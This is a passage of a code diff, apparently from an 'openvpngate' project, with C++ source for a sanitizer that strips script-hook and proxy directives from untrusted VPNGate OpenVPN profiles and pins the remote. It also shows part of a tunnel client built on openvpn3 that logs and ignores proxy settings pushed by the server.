"verb", "remote", "proto", "rport",
|
||||
"port", "remote-random", "remote-random-hostname",
|
||||
"resolv-retry", "persist-tun", "persist-key",
|
||||
};
|
||||
return s;
|
||||
}
|
||||
|
||||
// Inline blocks worth keeping: keys, certificates and the pre-shared material
|
||||
// that goes with them. Anything else is dropped whole -- notably <connection>,
|
||||
// which is an alternative way to smuggle in remotes we did not score.
|
||||
const std::unordered_set<std::string_view> &kept_blocks() {
|
||||
static const std::unordered_set<std::string_view> s = {
|
||||
"ca", "cert", "key", "extra-certs", "dh",
|
||||
"tls-auth", "tls-crypt", "tls-crypt-v2", "secret", "pkcs12",
|
||||
"crl-verify",
|
||||
};
|
||||
return s;
|
||||
}
|
||||
|
||||
std::vector<std::string_view> tokenize(std::string_view line) {
|
||||
std::vector<std::string_view> tok;
|
||||
size_t i = 0;
|
||||
while (i < line.size()) {
|
||||
while (i < line.size() && std::isspace(static_cast<unsigned char>(line[i])))
|
||||
++i;
|
||||
const size_t start = i;
|
||||
while (i < line.size() && !std::isspace(static_cast<unsigned char>(line[i])))
|
||||
++i;
|
||||
if (i > start) tok.push_back(line.substr(start, i - start));
|
||||
}
|
||||
return tok;
|
||||
}
|
||||
|
||||
// A profile is text. Anything that is not printable, tab, CR or LF means we are
|
||||
// looking at binary garbage (a truncated base64 decode, say), and passing it to
|
||||
// an option parser is not something to do hopefully.
|
||||
bool looks_like_text(const std::string &s, size_t *bad_offset) {
|
||||
for (size_t i = 0; i < s.size(); ++i) {
|
||||
const unsigned char c = static_cast<unsigned char>(s[i]);
|
||||
if (c == '\t' || c == '\r' || c == '\n') continue;
|
||||
if (c < 0x20 || c == 0x7f) {
|
||||
*bad_offset = i;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool is_denied_directive(std::string_view name) {
|
||||
return denied().count(name) > 0;
|
||||
}
|
||||
|
||||
bool is_kept_inline_block(std::string_view tag) {
|
||||
return kept_blocks().count(tag) > 0;
|
||||
}
|
||||
|
||||
bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt,
|
||||
SanitizedProfile *out, std::string *err) {
|
||||
*out = SanitizedProfile{};
|
||||
|
||||
if (raw.empty()) {
|
||||
if (err) *err = "empty profile";
|
||||
return false;
|
||||
}
|
||||
if (raw.size() > opt.max_bytes) {
|
||||
if (err)
|
||||
*err = fmt::format("profile is {} bytes, limit is {}", raw.size(),
|
||||
opt.max_bytes);
|
||||
return false;
|
||||
}
|
||||
size_t bad = 0;
|
||||
if (!looks_like_text(raw, &bad)) {
|
||||
if (err)
|
||||
*err = fmt::format("profile contains a control byte at offset {}", bad);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::set<std::string> dropped;
|
||||
std::string body;
|
||||
body.reserve(raw.size());
|
||||
|
||||
bool in_block = false;
|
||||
bool block_kept = false;
|
||||
std::string block_tag;
|
||||
size_t line_no = 0;
|
||||
|
||||
const std::string_view rv(raw);
|
||||
size_t pos = 0;
|
||||
while (pos <= rv.size()) {
|
||||
const size_t nl = rv.find('\n', pos);
|
||||
std::string_view line = rv.substr(
|
||||
pos, nl == std::string_view::npos ? std::string_view::npos : nl - pos);
|
||||
pos = (nl == std::string_view::npos) ? rv.size() + 1 : nl + 1;
|
||||
|
||||
if (++line_no > opt.max_lines) {
|
||||
if (err) *err = fmt::format("profile exceeds {} lines", opt.max_lines);
|
||||
return false;
|
||||
}
|
||||
|
||||
const std::string_view t = trim(line);
|
||||
|
||||
if (in_block) {
|
||||
if (t.size() > 3 && t.rfind("</", 0) == 0 && t.back() == '>' &&
|
||||
lower(t.substr(2, t.size() - 3)) == block_tag) {
|
||||
if (block_kept) body.append("</").append(block_tag).append(">\n");
|
||||
in_block = false;
|
||||
block_kept = false;
|
||||
block_tag.clear();
|
||||
} else if (block_kept) {
|
||||
// Payload lines pass through untouched apart from surrounding
|
||||
// whitespace (a stray CR would otherwise land inside the PEM). No
|
||||
// comment stripping: '#' is a legal byte in base64-adjacent data.
|
||||
body.append(t);
|
||||
body.push_back('\n');
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (t.empty() || t.front() == '#' || t.front() == ';') continue;
|
||||
|
||||
// Opening inline block?
|
||||
if (t.front() == '<' && t.back() == '>' && t.rfind("</", 0) != 0) {
|
||||
block_tag = lower(t.substr(1, t.size() - 2));
|
||||
if (block_tag.empty()) continue;
|
||||
in_block = true;
|
||||
block_kept = is_kept_inline_block(block_tag);
|
||||
if (block_kept) {
|
||||
if (block_tag == "ca") out->has_ca = true;
|
||||
if (block_tag == "cert" || block_tag == "pkcs12")
|
||||
out->has_client_cert = true;
|
||||
body.append("<").append(block_tag).append(">\n");
|
||||
} else {
|
||||
dropped.insert("<" + block_tag + ">");
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
const auto tok = tokenize(t);
|
||||
if (tok.empty()) continue;
|
||||
const std::string name = lower(tok[0]);
|
||||
|
||||
if (name == "dev" && tok.size() >= 2 &&
|
||||
lower(tok[1]).rfind("tap", 0) == 0) {
|
||||
// Layer 2 would hand us Ethernet frames; lwIP is wired up for layer 3
|
||||
// and nothing downstream knows what to do with an ARP request. Rejecting
|
||||
// here gives a clear reason instead of a confusing failure at tun setup.
|
||||
if (err) *err = "profile requests a TAP (layer 2) device; only TUN is supported";
|
||||
return false;
|
||||
}
|
||||
|
||||
if (name == "ca" || name == "cert" || name == "key" ||
|
||||
name == "pkcs12" || name == "tls-auth" || name == "tls-crypt" ||
|
||||
name == "secret" || name == "dh" || name == "crl-verify" ||
|
||||
name == "extra-certs") {
|
||||
// File-reference form. We have no file to point at -- the profile
|
||||
// arrived over HTTP as one blob -- so this cannot be honoured, and
|
||||
// silently keeping it would make openvpn3 try to open a path.
|
||||
dropped.insert(name + " (file reference)");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (name == "auth-user-pass") {
|
||||
// Credentials come from provide_creds(), never from a file on disk.
|
||||
out->wants_userpass = true;
|
||||
if (tok.size() >= 2) dropped.insert("auth-user-pass (file reference)");
|
||||
body.append("auth-user-pass\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (name == "peer-fingerprint") {
|
||||
out->has_ca = true; // an alternative to a CA, and a stronger one
|
||||
body.append(t);
|
||||
body.push_back('\n');
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!opt.allow_compression &&
|
||||
(name == "comp-lzo" || name == "compress" || name == "comp-noadapt")) {
|
||||
dropped.insert(name);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (is_denied_directive(name)) {
|
||||
dropped.insert(name);
|
||||
continue;
|
||||
}
|
||||
if (regenerated().count(name)) continue;
|
||||
|
||||
body.append(t);
|
||||
body.push_back('\n');
|
||||
}
|
||||
|
||||
if (in_block) {
|
||||
if (err) *err = "unterminated inline <" + block_tag + "> block";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Which remote do we dial? The pinned one if the selector gave us one,
|
||||
// otherwise whatever the profile declared (parsed by the same code the node
|
||||
// list uses, so the two can never disagree).
|
||||
if (opt.pin_remote) {
|
||||
out->remotes.push_back(*opt.pin_remote);
|
||||
} else {
|
||||
out->remotes = vpngate::extract_remotes(raw);
|
||||
}
|
||||
if (out->remotes.empty()) {
|
||||
if (err) *err = "profile declares no usable remote";
|
||||
return false;
|
||||
}
|
||||
if (!out->has_ca) {
|
||||
if (err) *err = "profile has neither an inline <ca> nor a peer-fingerprint";
|
||||
return false;
|
||||
}
|
||||
|
||||
const int verb = std::clamp(opt.verb, 0, 6);
|
||||
|
||||
std::string head;
|
||||
head.reserve(256 + body.size());
|
||||
head += "# sanitized by openvpngate -- see src/ovpn/profile_sanitizer.cpp\n";
|
||||
head += "client\n";
|
||||
head += "dev tun\n";
|
||||
head += "nobind\n";
|
||||
// No persist-key / resolv-retry / persist-tun here even though a hand-written
|
||||
// client profile would carry them: openvpn3 does all three unconditionally
|
||||
// and reports anything it did not consume as "Unsupported option (ignored)".
|
||||
// Emitting them would put three warning lines in the log on every single
|
||||
// connection, which is how logs stop being read.
|
||||
head += fmt::format("verb {}\n", verb);
|
||||
for (const auto &r : out->remotes) {
|
||||
head += fmt::format("remote {} {} {}\n", r.host, r.port,
|
||||
vpngate::proto_name(r.proto));
|
||||
}
|
||||
// A global proto as well: some option paths in the core consult it before
|
||||
// the per-remote value, and the two agreeing costs nothing.
|
||||
head += fmt::format("proto {}\n", vpngate::proto_name(out->remotes.front().proto));
|
||||
|
||||
out->text = head + body;
|
||||
out->dropped.assign(dropped.begin(), dropped.end());
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,69 @@
|
||||
// Rewrites a VPNGate .ovpn profile into something we are willing to feed to
|
||||
// openvpn3.
|
||||
//
|
||||
// The profiles come from the last column of a public, unauthenticated API and
|
||||
// are authored by anonymous volunteers. Two separate problems follow from that:
|
||||
//
|
||||
// 1. Safety. An OpenVPN profile is a small programming language: `up`, `down`,
|
||||
// `tls-verify`, `plugin` and friends name programs to execute, and
|
||||
// `http-proxy` / `socks-proxy` redirect our transport somewhere of the
|
||||
// profile's choosing. openvpn3 implements none of the script hooks, so
|
||||
// today most of these are inert -- but "inert in the version we happen to
|
||||
// link" is not a security property. They are stripped here so the guarantee
|
||||
// holds regardless of what the core does with them tomorrow.
|
||||
//
|
||||
// 2. Determinism. The selector scores one specific remote. If the profile is
|
||||
// passed through untouched, the core is free to pick any remote it lists,
|
||||
// in any order, and the node we measured is not necessarily the node we
|
||||
// connect to. Pinning the remote makes the measurement mean something.
|
||||
//
|
||||
// Everything else is kept verbatim. A denylist rather than an allowlist is
|
||||
// deliberate: an allowlist would break the first time a volunteer's server
|
||||
// pushed a directive we had not thought of, and the hazards here are a small,
|
||||
// enumerable set.
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
|
||||
#include "vpngate/node.h"
|
||||
|
||||
namespace ovg::ovpn {
|
||||
|
||||
struct SanitizeOptions {
|
||||
// The remote the selector chose. All remote/proto/port directives in the
|
||||
// input are replaced by this one. Null keeps whatever the profile declares
|
||||
// (used by the unit tests and by anyone connecting to a hand-written file).
|
||||
const vpngate::Remote *pin_remote = nullptr;
|
||||
|
||||
bool allow_compression = true;
|
||||
int verb = 3;
|
||||
|
||||
// Guards against a pathological or hostile row. A real profile is 3-8 KB.
|
||||
size_t max_bytes = 512 * 1024;
|
||||
size_t max_lines = 20000;
|
||||
};
|
||||
|
||||
struct SanitizedProfile {
|
||||
std::string text;
|
||||
|
||||
// Directive names removed, deduplicated and sorted. Logged once per
|
||||
// connection: a name appearing here that we expected to keep is the first
|
||||
// sign that a profile is doing something out of the ordinary.
|
||||
std::vector<std::string> dropped;
|
||||
|
||||
std::vector<vpngate::Remote> remotes;
|
||||
bool has_ca = false;
|
||||
bool has_client_cert = false;
|
||||
bool wants_userpass = false; // profile carries auth-user-pass
|
||||
};
|
||||
|
||||
bool sanitize_profile(const std::string &raw, const SanitizeOptions &opt,
|
||||
SanitizedProfile *out, std::string *err);
|
||||
|
||||
// Exposed for testing.
|
||||
bool is_denied_directive(std::string_view name);
|
||||
bool is_kept_inline_block(std::string_view tag);
|
||||
|
||||
} // namespace ovg::ovpn
|
||||
@@ -0,0 +1,755 @@
|
||||
#include "ovpn/tunnel_client.h"
|
||||
|
||||
#include <chrono>
|
||||
#include <utility>
|
||||
|
||||
#include <fmt/format.h>
|
||||
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
#include "ovpn/profile_sanitizer.h"
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
#include <client/ovpncli.hpp>
|
||||
#endif
|
||||
|
||||
namespace ovg::ovpn {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "ovpn";
|
||||
constexpr const char *kCoreMod = "ovpn3";
|
||||
|
||||
// A pushed route list is not load-bearing for us -- every packet goes to the
|
||||
// tunnel netif regardless -- so we keep a bounded sample for the admin
|
||||
// endpoint and let the rest go.
|
||||
constexpr size_t kMaxCapturedRoutes = 64;
|
||||
|
||||
metrics::Counter *starts() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_starts_total",
|
||||
"OpenVPN sessions started");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *ups() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_up_total",
|
||||
"OpenVPN sessions that reached CONNECTED");
|
||||
return c;
|
||||
}
|
||||
metrics::Counter *failures() {
|
||||
static auto *c = metrics::counter(
|
||||
"ovg_tunnel_failures_total",
|
||||
"OpenVPN sessions that ended without ever reaching CONNECTED");
|
||||
return c;
|
||||
}
|
||||
#if OVG_WITH_TUNNEL
|
||||
metrics::Counter *reconnects() {
|
||||
static auto *c = metrics::counter("ovg_tunnel_reconnects_total",
|
||||
"In-session reconnects reported by the core");
|
||||
return c;
|
||||
}
|
||||
#endif
|
||||
metrics::Gauge *active() {
|
||||
static auto *g = metrics::gauge("ovg_tunnels_active",
|
||||
"OpenVPN sessions currently up");
|
||||
return g;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
const char *tunnel_state_name(TunnelState s) {
|
||||
switch (s) {
|
||||
case TunnelState::Idle: return "idle";
|
||||
case TunnelState::Connecting: return "connecting";
|
||||
case TunnelState::Up: return "up";
|
||||
case TunnelState::Reconnecting: return "reconnecting";
|
||||
case TunnelState::Down: return "down";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Impl: everything that touches openvpn3.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
|
||||
class TunnelClient::Impl : public openvpn::ClientAPI::OpenVPNClient {
|
||||
public:
|
||||
Impl(std::weak_ptr<TunnelClient> owner, PacketPipe *pipe, OvpnConfig cfg,
|
||||
std::string node_id)
|
||||
: owner_(std::move(owner)),
|
||||
pipe_(pipe),
|
||||
cfg_(std::move(cfg)),
|
||||
node_id_(std::move(node_id)) {}
|
||||
|
||||
// Worker thread body.
|
||||
void run(openvpn::ClientAPI::Config cc);
|
||||
|
||||
// Safe from any thread, before or after connect() is running.
|
||||
void request_stop() {
|
||||
stop_requested_.store(true, std::memory_order_relaxed);
|
||||
if (connecting_.load(std::memory_order_acquire)) stop();
|
||||
}
|
||||
|
||||
TunnelCounters counters() const;
|
||||
bool ever_up() const { return ever_up_.load(std::memory_order_relaxed); }
|
||||
|
||||
// --- TunBuilderBase -----------------------------------------------------
|
||||
bool tun_builder_new() override;
|
||||
bool tun_builder_set_layer(int layer) override;
|
||||
bool tun_builder_set_remote_address(const std::string &address,
|
||||
bool ipv6) override;
|
||||
bool tun_builder_add_address(const std::string &address, int prefix_length,
|
||||
const std::string &gateway, bool ipv6,
|
||||
bool net30) override;
|
||||
bool tun_builder_reroute_gw(bool ipv4, bool ipv6, unsigned int flags) override;
|
||||
bool tun_builder_add_route(const std::string &address, int prefix_length,
|
||||
int metric, bool ipv6) override;
|
||||
bool tun_builder_exclude_route(const std::string &address, int prefix_length,
|
||||
int metric, bool ipv6) override;
|
||||
bool tun_builder_set_dns_options(const openvpn::DnsOptions &dns) override;
|
||||
bool tun_builder_set_mtu(int mtu) override;
|
||||
bool tun_builder_set_session_name(const std::string &name) override;
|
||||
bool tun_builder_add_proxy_bypass(const std::string &host) override;
|
||||
bool tun_builder_set_proxy_auto_config_url(const std::string &url) override;
|
||||
bool tun_builder_set_proxy_http(const std::string &host, int port) override;
|
||||
bool tun_builder_set_proxy_https(const std::string &host, int port) override;
|
||||
bool tun_builder_add_wins_server(const std::string &address) override;
|
||||
bool tun_builder_set_route_metric_default(int metric) override { return true; }
|
||||
bool tun_builder_set_allow_family(int af, bool allow) override { return true; }
|
||||
bool tun_builder_set_allow_local_dns(bool allow) override { return true; }
|
||||
int tun_builder_establish() override;
|
||||
bool tun_builder_persist() override { return true; }
|
||||
void tun_builder_establish_lite() override;
|
||||
void tun_builder_teardown(bool disconnect) override;
|
||||
std::vector<std::string> tun_builder_get_local_networks(bool ipv6) override {
|
||||
return {};
|
||||
}
|
||||
|
||||
// --- OpenVPNClient ------------------------------------------------------
|
||||
void event(const openvpn::ClientAPI::Event &ev) override;
|
||||
void acc_event(const openvpn::ClientAPI::AppCustomControlMessageEvent &ev)
|
||||
override;
|
||||
void log(const openvpn::ClientAPI::LogInfo &li) override;
|
||||
void external_pki_cert_request(
|
||||
openvpn::ClientAPI::ExternalPKICertRequest &req) override;
|
||||
void external_pki_sign_request(
|
||||
openvpn::ClientAPI::ExternalPKISignRequest &req) override;
|
||||
|
||||
// We would rather fail over to one of the ninety-odd other nodes than sit
|
||||
// in PAUSE on a server that has stopped answering.
|
||||
bool pause_on_connection_timeout() override { return false; }
|
||||
|
||||
// Nothing to protect. The classic reason for this callback is that the
|
||||
// client rewrites the host routing table, so the transport socket to the VPN
|
||||
// server would otherwise route back into the tunnel it is carrying. We never
|
||||
// touch host routing -- the tunnel lives entirely in this process -- so the
|
||||
// kernel routes this socket like any other and no loop is possible.
|
||||
bool socket_protect(openvpn_io::detail::socket_type socket, std::string remote,
|
||||
bool ipv6) override {
|
||||
return true;
|
||||
}
|
||||
|
||||
private:
|
||||
void emit(TunnelState s, std::string detail, bool with_info);
|
||||
|
||||
std::weak_ptr<TunnelClient> owner_;
|
||||
PacketPipe *pipe_;
|
||||
OvpnConfig cfg_;
|
||||
std::string node_id_;
|
||||
|
||||
mutable std::mutex mu_; // guards pending_
|
||||
TunnelInfo pending_;
|
||||
int establish_count_ = 0;
|
||||
size_t route_count_ = 0;
|
||||
|
||||
std::atomic<bool> stop_requested_{false};
|
||||
std::atomic<bool> connecting_{false};
|
||||
std::atomic<bool> ever_up_{false};
|
||||
};
|
||||
|
||||
void TunnelClient::Impl::emit(TunnelState s, std::string detail,
|
||||
bool with_info) {
|
||||
TunnelInfo snapshot;
|
||||
if (with_info) {
|
||||
std::lock_guard lk(mu_);
|
||||
snapshot = pending_;
|
||||
}
|
||||
if (auto owner = owner_.lock())
|
||||
owner->post_state(s, std::move(snapshot), std::move(detail));
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::run(openvpn::ClientAPI::Config cc) {
|
||||
using openvpn::ClientAPI::EvalConfig;
|
||||
using openvpn::ClientAPI::ProvideCreds;
|
||||
using openvpn::ClientAPI::Status;
|
||||
|
||||
try {
|
||||
const EvalConfig eval = eval_config(cc);
|
||||
if (eval.error) {
|
||||
emit(TunnelState::Down, "profile rejected: " + eval.message, false);
|
||||
return;
|
||||
}
|
||||
LOG_DEBUG(kMod, "{}: profile ok, remote={}:{}/{} autologin={}", node_id_,
|
||||
eval.remoteHost, eval.remotePort, eval.remoteProto,
|
||||
eval.autologin);
|
||||
|
||||
if (!eval.autologin) {
|
||||
// Most VPNGate profiles carry the shared client certificate and need no
|
||||
// credentials at all; the ones that do accept anything, and the operator
|
||||
// can override the pair in [ovpn] if some node ever gets picky.
|
||||
ProvideCreds creds;
|
||||
creds.username = cfg_.username;
|
||||
creds.password = cfg_.password;
|
||||
const Status cs = provide_creds(creds);
|
||||
if (cs.error) {
|
||||
emit(TunnelState::Down, "credentials rejected: " + cs.message, false);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (stop_requested_.load(std::memory_order_relaxed)) {
|
||||
emit(TunnelState::Down, "stopped before connect", false);
|
||||
return;
|
||||
}
|
||||
|
||||
connecting_.store(true, std::memory_order_release);
|
||||
if (stop_requested_.load(std::memory_order_relaxed)) stop();
|
||||
|
||||
const Status st = connect(); // blocks for the life of the session
|
||||
|
||||
std::string why;
|
||||
if (st.error)
|
||||
why = st.status.empty() ? st.message : st.status + ": " + st.message;
|
||||
else
|
||||
why = "session ended";
|
||||
emit(TunnelState::Down, std::move(why), false);
|
||||
} catch (const std::exception &e) {
|
||||
emit(TunnelState::Down, std::string("openvpn3 threw: ") + e.what(), false);
|
||||
} catch (...) {
|
||||
emit(TunnelState::Down, "openvpn3 threw a non-standard exception", false);
|
||||
}
|
||||
}
|
||||
|
||||
TunnelCounters TunnelClient::Impl::counters() const {
|
||||
TunnelCounters c;
|
||||
if (!connecting_.load(std::memory_order_acquire)) return c;
|
||||
try {
|
||||
const auto ts = transport_stats();
|
||||
const auto is = tun_stats();
|
||||
c.transport_bytes_in = ts.bytesIn;
|
||||
c.transport_bytes_out = ts.bytesOut;
|
||||
c.tun_bytes_in = is.bytesIn;
|
||||
c.tun_bytes_out = is.bytesOut;
|
||||
// The core counts in "binary milliseconds" (1/1024 s); convert so callers
|
||||
// are not quietly 2.4% out when they compare against a wall-clock budget.
|
||||
c.last_packet_received_ms =
|
||||
ts.lastPacketReceived < 0
|
||||
? -1
|
||||
: static_cast<int>((static_cast<int64_t>(ts.lastPacketReceived) *
|
||||
1000) / 1024);
|
||||
c.valid = true;
|
||||
} catch (const std::exception &e) {
|
||||
LOG_DEBUG(kMod, "{}: stats unavailable: {}", node_id_, e.what());
|
||||
}
|
||||
return c;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_new() {
|
||||
std::lock_guard lk(mu_);
|
||||
pending_ = TunnelInfo{};
|
||||
route_count_ = 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_layer(int layer) {
|
||||
if (layer != 3) {
|
||||
LOG_WARN(kMod, "{}: server wants OSI layer {}; only layer 3 is supported",
|
||||
node_id_, layer);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_remote_address(
|
||||
const std::string &address, bool ipv6) {
|
||||
std::lock_guard lk(mu_);
|
||||
pending_.server_ip = address;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_add_address(const std::string &address,
|
||||
int prefix_length,
|
||||
const std::string &gateway,
|
||||
bool ipv6, bool net30) {
|
||||
std::lock_guard lk(mu_);
|
||||
if (ipv6) {
|
||||
pending_.ipv6 = address;
|
||||
pending_.prefix6 = prefix_length;
|
||||
} else {
|
||||
pending_.ipv4 = address;
|
||||
pending_.prefix4 = prefix_length;
|
||||
pending_.gateway4 = gateway;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_reroute_gw(bool ipv4, bool ipv6,
|
||||
unsigned int flags) {
|
||||
std::lock_guard lk(mu_);
|
||||
pending_.redirect_gateway = ipv4 || ipv6;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_add_route(const std::string &address,
|
||||
int prefix_length, int metric,
|
||||
bool ipv6) {
|
||||
std::lock_guard lk(mu_);
|
||||
if (++route_count_ <= kMaxCapturedRoutes)
|
||||
pending_.routes.push_back(address + "/" + std::to_string(prefix_length));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_exclude_route(const std::string &address,
|
||||
int prefix_length,
|
||||
int metric, bool ipv6) {
|
||||
// There is no host routing table for an excluded route to be excluded from:
|
||||
// every packet the netstack produces goes to the tunnel by construction.
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_dns_options(
|
||||
const openvpn::DnsOptions &dns) {
|
||||
std::lock_guard lk(mu_);
|
||||
pending_.dns.clear();
|
||||
// std::map<int, DnsServer> keyed by priority, so iteration is already in the
|
||||
// order the server intended.
|
||||
for (const auto &[priority, server] : dns.servers) {
|
||||
for (const auto &a : server.addresses) {
|
||||
if (!a.address.empty()) pending_.dns.push_back(a.address);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_mtu(int mtu) {
|
||||
std::lock_guard lk(mu_);
|
||||
if (mtu <= 0 || static_cast<size_t>(mtu) > kMaxPacketSize) {
|
||||
// Not fatal -- the default is workable, and refusing here would throw away
|
||||
// an otherwise fine node over one bad pushed option.
|
||||
LOG_WARN(kMod, "{}: server pushed MTU {}, outside [1, {}]; keeping {}",
|
||||
node_id_, mtu, kMaxPacketSize, pending_.mtu);
|
||||
return true;
|
||||
}
|
||||
pending_.mtu = mtu;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_session_name(const std::string &name) {
|
||||
std::lock_guard lk(mu_);
|
||||
pending_.session_name = name;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_add_proxy_bypass(const std::string &host) {
|
||||
return true; // no system proxy to bypass
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_proxy_auto_config_url(
|
||||
const std::string &url) {
|
||||
// Returning false here would abort the connection over a setting we simply
|
||||
// do not implement, so it is ignored -- but loudly, because a server pushing
|
||||
// a PAC file is asking to see our plaintext HTTP.
|
||||
LOG_WARN(kMod, "{}: ignoring pushed proxy auto-config URL {}", node_id_, url);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_proxy_http(const std::string &host,
|
||||
int port) {
|
||||
LOG_WARN(kMod, "{}: ignoring pushed HTTP proxy {}:{}", node_id_, host, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_set_proxy_https(const std::string &host,
|
||||
int port) {
|
||||
LOG_WARN(kMod, "{}: ignoring pushed HTTPS proxy {}:{}", node_id_, host, port);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool TunnelClient::Impl::tun_builder_add_wins_server(
|
||||
const std::string &address) {
|
||||
return true; // Windows name resolution; nothing here consumes it
|
||||
}
|
||||
|
||||
int TunnelClient::Impl::tun_builder_establish() {
|
||||
if (++establish_count_ > 1) {
|
||||
// The core only re-establishes when the pushed tunnel configuration has
|
||||
// changed -- a different address, prefix or MTU. Every lwIP PCB behind
|
||||
// this pipe is bound to the old address, so there is nothing to salvage
|
||||
// even if we handed over a fresh socketpair: the netstack would have to be
|
||||
// rebuilt anyway. Failing here turns that into an ordinary node failure
|
||||
// that the egress layer already knows how to handle (make-before-break to
|
||||
// a freshly built tunnel), instead of a half-migrated stack.
|
||||
LOG_WARN(kMod,
|
||||
"{}: openvpn3 asked for a second tun descriptor (pushed config "
|
||||
"changed); ending the session so the egress layer rebuilds it",
|
||||
node_id_);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const int fd = pipe_->release_peer_fd();
|
||||
if (fd < 0) {
|
||||
LOG_ERROR(kMod, "{}: packet pipe has no descriptor to hand over", node_id_);
|
||||
return -1;
|
||||
}
|
||||
LOG_DEBUG(kMod, "{}: handed tun fd {} to openvpn3", node_id_, fd);
|
||||
return fd;
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::tun_builder_establish_lite() {
|
||||
LOG_INFO(kMod, "{}: reconnected with the tun kept in place", node_id_);
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::tun_builder_teardown(bool disconnect) {
|
||||
LOG_DEBUG(kMod, "{}: tun teardown (disconnect={})", node_id_, disconnect);
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::event(const openvpn::ClientAPI::Event &ev) {
|
||||
if (ev.error)
|
||||
LOG_WARN(kCoreMod, "{}: {}{}{}{}", node_id_, ev.fatal ? "fatal " : "",
|
||||
ev.name, ev.info.empty() ? "" : ": ", ev.info);
|
||||
else
|
||||
LOG_DEBUG(kCoreMod, "{}: {}{}{}", node_id_, ev.name,
|
||||
ev.info.empty() ? "" : " ", ev.info);
|
||||
|
||||
if (ev.name == "CONNECTED") {
|
||||
const auto ci = connection_info();
|
||||
{
|
||||
std::lock_guard lk(mu_);
|
||||
if (pending_.server_ip.empty()) pending_.server_ip = ci.serverIp;
|
||||
if (pending_.session_name.empty()) pending_.session_name = ci.tunName;
|
||||
}
|
||||
ever_up_.store(true, std::memory_order_relaxed);
|
||||
emit(TunnelState::Up, "", true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (ev.name == "RECONNECTING") {
|
||||
reconnects()->inc();
|
||||
emit(TunnelState::Reconnecting, ev.info, false);
|
||||
return;
|
||||
}
|
||||
|
||||
if (ev.fatal) {
|
||||
emit(TunnelState::Down,
|
||||
ev.info.empty() ? ev.name : ev.name + ": " + ev.info, false);
|
||||
}
|
||||
// DISCONNECTED is not special-cased: connect() is about to return and run()
|
||||
// posts the terminal state with the full status attached.
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::acc_event(
|
||||
const openvpn::ClientAPI::AppCustomControlMessageEvent &ev) {
|
||||
LOG_DEBUG(kCoreMod, "{}: app control message on {} ({} bytes)", node_id_,
|
||||
ev.protocol, ev.payload.size());
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::log(const openvpn::ClientAPI::LogInfo &li) {
|
||||
std::string_view s(li.text);
|
||||
while (!s.empty() && (s.back() == '\n' || s.back() == '\r'))
|
||||
s.remove_suffix(1);
|
||||
if (!s.empty()) LOG_DEBUG(kCoreMod, "{}", s);
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::external_pki_cert_request(
|
||||
openvpn::ClientAPI::ExternalPKICertRequest &req) {
|
||||
req.error = true;
|
||||
req.errorText = "external PKI is not supported: profiles must carry an "
|
||||
"inline <cert>/<key>";
|
||||
}
|
||||
|
||||
void TunnelClient::Impl::external_pki_sign_request(
|
||||
openvpn::ClientAPI::ExternalPKISignRequest &req) {
|
||||
req.error = true;
|
||||
req.errorText = "external PKI is not supported";
|
||||
}
|
||||
|
||||
bool TunnelClient::supported() { return true; }
|
||||
|
||||
bool TunnelClient::launch(std::string *err) {
|
||||
openvpn::ClientAPI::Config cc;
|
||||
cc.content = profile_;
|
||||
cc.guiVersion = "openvpngate 0.1.0";
|
||||
|
||||
